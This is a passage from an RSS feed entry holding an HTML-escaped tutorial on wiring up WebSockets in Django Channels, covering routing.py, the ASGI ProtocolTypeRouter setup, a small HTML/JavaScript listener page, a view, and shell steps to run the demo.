&lt;p&gt;Any logic could be implemented to customize the &lt;em&gt;disconnect&lt;/em&gt; and &lt;em&gt;receive&lt;/em&gt; methods.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ol&gt;
&lt;li&gt;Now let's create our routes file. He will be responsible for making our consumer logic available to consumers.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;We will create another file called &lt;em&gt;routing.py&lt;/em&gt;. This file is similar to a traditional url file from a common django project, but it uses another communication protocol.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from django.urls import path

from . import consumers

ws_urlpatterns = [
    path("ws/test/", consumers.Consumer.as_asgi())
]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Explaining this code, we use the &lt;em&gt;path&lt;/em&gt; method to create our routes, this method will connect our logic created in the Consumer class and relate it to a url defined in the first parameter of the method.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Note that we use a method called "as_asgi" in the Consumer class. This method allows our class to be managed by our Daphne as an ASGI object.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ol&gt;
&lt;li&gt;Now you remember that previously we left it to configure our ASGI later? Well, now is the time.Here we configure the ASGI entry point for our Django application.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import os
from django.core.asgi import get_asgi_application
from channels.routing import ProtocolTypeRouter, URLRouter
from channels.auth import AuthMiddlewareStack
from socketapp import routing

os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'socketdevto.settings')

application = ProtocolTypeRouter({
    "http": get_asgi_application(),
    "websocket": AuthMiddlewareStack(
        URLRouter(
            routing.ws_urlpatterns
        )
    ),
})
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;Step-by-step&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In this line we inform ASGI which file it will pull the settings from, that is, we point out the environment variables.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'socketdevto.settings')&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;After that, with 'ProtocolTypeRouter' we will define how each protocol will be treated in our application. In this case we are configuring the HTTP protocol and the WebSocket protocol.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;"http": get_asgi_application()&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;For the HTTP protocol we will use django's default ASGI application.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;"websocket": AuthMiddlewareStack(&lt;br&gt;
        URLRouter(&lt;br&gt;
            routing.ws_urlpatterns&lt;br&gt;
        )&lt;br&gt;
    ),&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;For the WebSocket protocol we will use a stack of middleware (functions that intermediate communication, changing behaviors, adding or removing information) similar to the standard middleware present in our project's settings.py file. Next we call the URL router to map our WebSockets endpoints and our urls. &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Note that we are passing our small list of urls defined in the 'routing.py' file as a parameter.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  &lt;em&gt;Seeing the result of our implementation.&lt;/em&gt;
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;We will start by building our html file to display our data in the browser.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;html&amp;gt;
    &amp;lt;head&amp;gt;
        &amp;lt;title&amp;gt;Teste&amp;lt;/title&amp;gt;

    &amp;lt;/head&amp;gt;
    &amp;lt;body&amp;gt;
        &amp;lt;h1 id = "app"&amp;gt;{{ value }}&amp;lt;/h1&amp;gt;
    &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;


&amp;lt;script&amp;gt;
    var socket = new WebSocket("ws://localhost:8000/ws/test/");
    socket.onmessage = function(event) {
        var djangodata = event.data;
        console.log(djangodata);
        document.querySelector("#app").innerText = djangodata;
    };


&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;file name: test.html&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Let me explain our JavaScript code. With this code we create 'the other part' of two-way communication, the listener.&lt;br&gt;
This JavaScript code establishes a WebSocket connection with a server, listens for incoming messages, logs the message content to the browser console, and updates an HTML element with the received message content.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Now we will create our view, which will render our data in the browser.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#views.py

from socketapp import models
from django.shortcuts import render

def test(request):
    return render(request, 'test.html', context = {})

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Now let's access the django shell, import our models and create a Queue object with status = 1.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python3 manage.py shell
from yourappname import models

models.Queue.objects.create(status = 1)

exit()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Finally you can run the command &lt;code&gt;python3 manage.py runserver&lt;/code&gt; and access the following address on your machine: &lt;code&gt;http://127.0.0.1:8000/test&lt;/code&gt;. You should see a dictionary like this {"value": int}, where the value of the "value" key grows in 2 second intervals without having to refresh your browser.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://github.com/AlissonDuarte/DevTo-Sockets/tree/master"&gt;You can check out the entire project here&lt;/a&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>django</category>
      <category>rest</category>
      <category>socket</category>
    </item>
  </channel>
</rss>
